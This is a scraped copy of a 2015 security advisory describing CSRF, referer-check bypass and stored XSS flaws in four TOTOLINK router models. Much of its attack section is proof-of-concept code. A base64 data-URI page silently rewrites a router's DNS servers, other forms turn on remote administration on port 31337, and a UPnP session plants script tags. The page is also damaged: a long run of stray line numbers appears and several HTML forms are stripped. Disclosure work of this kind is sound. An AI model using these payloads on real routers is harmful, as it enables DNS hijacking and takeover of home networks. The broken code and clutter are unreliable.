4 TOTOLINK Router Models – Cross-Site Request Forgery / Cross-Site Scripting

Exploit Database
120 阅读

作者： Pierre Kim

日期： 2015-07-16
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/37624/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

## Advisory Information

Title: 4 TOTOLINK router models vulnerable to CSRF and XSS attacks

Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x01.txt

Blog URL: http://pierrekim.github.io/blog/2015-07-16-4-TOTOLINK-products-vulnerable-to-CSRF-and-XSS-attacks.html

Date published: 2015-07-16

Vendors contacted: None

Release mode: Released, 0day

CVE: no current CVE

## Product Description

TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO

markets in South Korea.

TOTOLINK produces routers routers, wifi access points and network

devices. Their products are sold worldwide.

## Vulnerability Summary

TOTOLINK iPuppy, iPuppy3, N100RE and N200RE are wireless LAN routers.

Their current firmwares with default configuration are

vulnerable to CSRF-attacks and XSS attacks.

Since, the anti-CSRF protection is based on a static HTTP referrer

(RFC 1945), an attacker can take over

most of the configuration and settings using anyone inside the LAN of

the router. Owners are urged to

contact TOTOLINK, and activate authentication on this product

(disabled by default).

It affects (firmware come from totolink.net and from totolink.cn):

TOTOLINK iPuppy : firmware 1.2.1 (TOTOLINK iPuppy__V1.2.1.update)

TOTOLINK iPuppy3 : firmware 1.0.2 (TOTOLINK iPuppy3_V1.0.2.update)

TOTOLINK N100RE-V1 : firmware V1.1-B20140723-2-432-EN

(TOTOLINK-N100RE-IP04216-RT5350-SPI-1M8M-V1.1-B20140723-2-432-EN.update)

TOTOLINK N200RE : firmware V1.4-B20140724-2-457-EN

(TOTOLINK-N200RE-IP04220-MT7620-SPI-1M8M-V1.4-B20140724-2-457-EN.update)

## Details - CSRF

The HTTP interface allows to edit the configuration. This interface is

vulnerable to CSRF.

Configuration and settings can be modified with CSRF attacks:

Activate the remote control management

Change the DNS configuration

Update the firmware

Change the Wifi Configuration

Create TCP redirections to the LAN

and more...

Example of forms exploiting the CSRF:

o Activating the remote control management on port 31337/tcp listening

on the WAN interface.

<html>

<head>

function s() {

document.f.submit();

}

</script>

</head>

</form>

</body>

</html>

o Changing the DNS configuration to 0.2.0.7 and 1.2.0.1:

<html>

<head>

function s() {

document.f.submit();

}

</script>

</head>

</form>

</body>

</html>

The variable GO is an open redirect. Any URL like

http://www.google.com/ for instance can be used.

The variable GO is also vulnerable to XSS. It's out of scope in this advisory.

To bypass the protection (which checks the refer), you can, for

example, base64 the form and include

it in the webpage.

The refer will be empty and the CSRF will be accepted by the device:

o activate_admin_wan_csrf_bypass.html:

<html>

<head>

</head>

<body>

</body>

</html>

Visiting activate_admin_wan_csrf_bypass.html in a remote location will activate

the remote management interface on port 31337/TCP.

You can test it through

http://pierrekim.github.io/advisories/2015-totolink-0x01-PoC-change_dns_csrf_bypass.html

o change_dns_csrf_bypass.html:

<html>

<head>

content="1;url=data:text/html;charset=utf8;base64,PGh0bWw+CjxoZWFkPgo8c2NyaXB0PgpmdW5jdGlvbiBzKCkgewogIGRvY3VtZW50LmYuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25sb2FkPSJzKCkiPgo8Zm9ybSBpZD0iZiIgbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Imh0dHA6Ly8xOTIuMTY4LjEuMS9kb19jbWQuaHRtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iQ01EIiB2YWx1ZT0iV0FOIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iR08iIHZhbHVlPSJuZXRjb25mX3dhbnNldHVwLmh0bWwiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQwIiB2YWx1ZT0iNTAzOTc0NDA9MiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEiIHZhbHVlPSI1MDg1Njk2MD02NC1FNS05OS1BQS1BQS1BQSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDIiIHZhbHVlPSIyMzUwNzc4ODg9MSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDMiIHZhbHVlPSIyMzUwMTI4NjU9MC4yLjAuNyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDQiIHZhbHVlPSIyMzUwMTI4NjY9MS4yLjAuMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDUiIHZhbHVlPSI1MTExODMzNj0wIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUNiIgdmFsdWU9IjUxODM5MjMyPTEiPgo8aW5wdXQgdHlwZT0iaGlkZGVu

IiBuYW1lPSJTRVQ3IiB2YWx1ZT0iNTE1MTE1NTI9MTUwMCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDgiIHZhbHVlPSIxMTc4MzQyNDA9Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUOSIgdmFsdWU9IjExNzcwMzE2OD0iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQxMCIgdmFsdWU9IjExNzYzNzM3Nj0xNDkyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUMTEiIHZhbHVlPSI1MTQ0NjAxNj0xNTAwIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUMTIiIHZhbHVlPSI1MDQ2MzQ4OD0xOTIuMTY4LjEuMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEzIiB2YWx1ZT0iNTA1MjkwMjQ9MjU1LjI1NS4yNTUuMCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDE0IiB2YWx1ZT0iNTA1OTQ1NjA9MTkyLjE2OC4xLjI1NCI+CjwvZm9ybT4KPC9ib2R5Pgo8L2h0bWw+Cg==">

</head>

<body>

</body>

</html>

Visiting activate_admin_wan_csrf_bypass.html in a remote location will

change the DNS servers

provided by the TOTOLINK device in the LAN.

You can test it through

http://pierrekim.github.io/advisories/2015-totolink-0x01-PoC-activate_admin_wan_csrf_bypass.html

## Details - stored XSS and fun

There is a stored XSS, which can be injected using UPNP from the LAN,

without authentication:

upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping

Required argument:

Argument Name:NewPortMappingDescription

Data Type:string

Allowed Values: []

Set NewPortMappingDescription value to: <script>alert("XSS");</script>

Required argument:

Argument Name:NewLeaseDuration

Data Type:ui4

Allowed Values: []

Set NewLeaseDuration value to: 0

Required argument:

Argument Name:NewInternalClient

Data Type:string

Allowed Values: []

Set NewInternalClient value to: <script>alert("XSS");</script>

Required argument:

Argument Name:NewEnabled

Data Type:boolean

Allowed Values: []

Set NewEnabled value to: 1

Required argument:

Argument Name:NewExternalPort

Data Type:ui2

Allowed Values: []

Set NewExternalPort value to: 80

Required argument:

Argument Name:NewRemoteHost

Data Type:string

Allowed Values: []

Set NewRemoteHost value to: <script>alert("XSS");</script>

Required argument:

Argument Name:NewProtocol

Data Type:string

Allowed Values: ['TCP', 'UDP']

Set NewProtocol value to: TCP

Required argument:

Argument Name:NewInternalPort

Data Type:ui2

Allowed Values: []

Set NewInternalPort value to: 80

upnp>

The UPNP webpage in the administration area

(http://192.168.0.1/popup_upnp_portmap.html) will show:

[...]

<tr>

<td class=item_td><script>alert("XSS")<script>alert("XSS");</script>:28777</td>

<td class=item_td><script>alert("XSS");</script></td>

</tr>

[...]

- From my research, there are some bits overflapping with others,

resulting in showing funny ports

and truncating input data. A remote DoS against the upnpd process

seems to be easily done.

Gaining Remote Code Execution by UPNP exploitation is again left as a

exercise for the reader.

## Vendor Response

Due to "un-ethical code" found in TOTOLINK products (= backdoors found

in new TOTOLINK devices), TOTOLINK was not contacted in regard of this

case.

## Report Timeline

* Apr 20, 2015: Vulnerabilities found by Pierre Kim in ipTIME devices.

* Jun 20, 2015: Vulnerabilities confirmed with reliable PoCs.

* Jun 25, 2015: Vulnerabilities found in TOTOLINK products by looking

for similar ipTIME products.

* Jul 16, 2015: A public advisory is sent to security mailing lists.

## Credit

These vulnerabilities were found by Pierre Kim (@PierreKimSec).

## Greetings

Big thanks to Alexandre Torres.

## References

https://pierrekim.github.io/advisories/2015-totolink-0x01.txt

## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial

Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/